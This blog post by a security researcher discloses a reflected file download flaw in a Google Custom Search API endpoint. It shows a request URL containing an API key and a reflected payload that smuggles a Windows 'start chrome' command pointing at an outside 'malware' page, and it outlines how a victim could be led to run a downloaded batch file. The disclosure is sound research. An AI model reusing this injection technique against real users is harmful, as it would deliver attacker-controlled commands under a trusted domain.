I found a critical issue on Google that can be used by malicious users to hijack victims computer using Google domain as platform and trust source.

I come across this security issue because I detected a JSON request using Google Inspector made by the following URL:

[code language=”html”]https://www.googleapis.com/customsearch/v1?callback=jQuery17109823856276925653_1439708781699&key=AIzaSyCMGfdDaSfjqv5zYoS0mTJnOT3e9MURWkU&cx=014141993897103097974%3A46gdqg1e99k&q=xss&num=5&_=1439709781835[/code]

After checking that callback variable could be reflected on the screen I tried the following GET request:

[code language=”html”]


Which returns the following JSON information:

[code language=”javascript”]
// API callback
"error": {
"errors": [
"domain": "usageLimits",
"reason": "keyInvalid",
"message": "Bad Request"
"code": 400,
"message": "Bad Request"


It returns HTTP status code 200 even when the JSON request tells that’s an error (?). In this case callback only allows a command to be executed without spaces so in the following proof-of-concept I could execute calc from Windows.

But I wanted a better and more exploitable proof-of-concept so I tried with the query parameter – “q”:

[code language=”html”]


Which returned:

[code language=”javascript”]
"title": "Google Custom Search – \"||start chrome davidsopas.com/poc/malware.htm||",
"searchTerms": "\"||start chrome davidsopas.com/poc/malware.htm||",

The attack is reflected. Due to the fact that I couldn’t control the filename and force a download I needed to use HTML5 vector supported by the following browsers:

  • Chrome
  • Opera
  • Android Browser
  • Chrome for Android
  • Firefox

Online proof-of-concept  (downloads batch file that a new Chrome window with a URL – in my PoC is just text):



This works mostly on all Microsoft Windows versions. It also can be used in Linux and OSX but it needs more user interaction. For multi-plataform a malicious user could create a .htm file instead of a .bat file being the HTML file malicious. This is might be an alternative attack method to work with all operating systems.

So in my proof-of-concept I was able to execute a new window on Chrome browser with a page that simulates malware [it’s just text].

A malicious user could:

  1. Launch a malicious campaign with the specially crafted page providing Google offers – similar to my proof-of-concept
  2. Victim downloads the file thinking that is from a trusted domain [googleapis.com]
  3. Malicious user gains control over victims machine

How to fix this issue?
Google already fixed most of these issues by using HTTP header Content-disposition:attachment; filename=”f.txt” that will force the download to f.txt every time. But this time they decided not to fix it because they say that needs to many user interaction.

Leave a Reply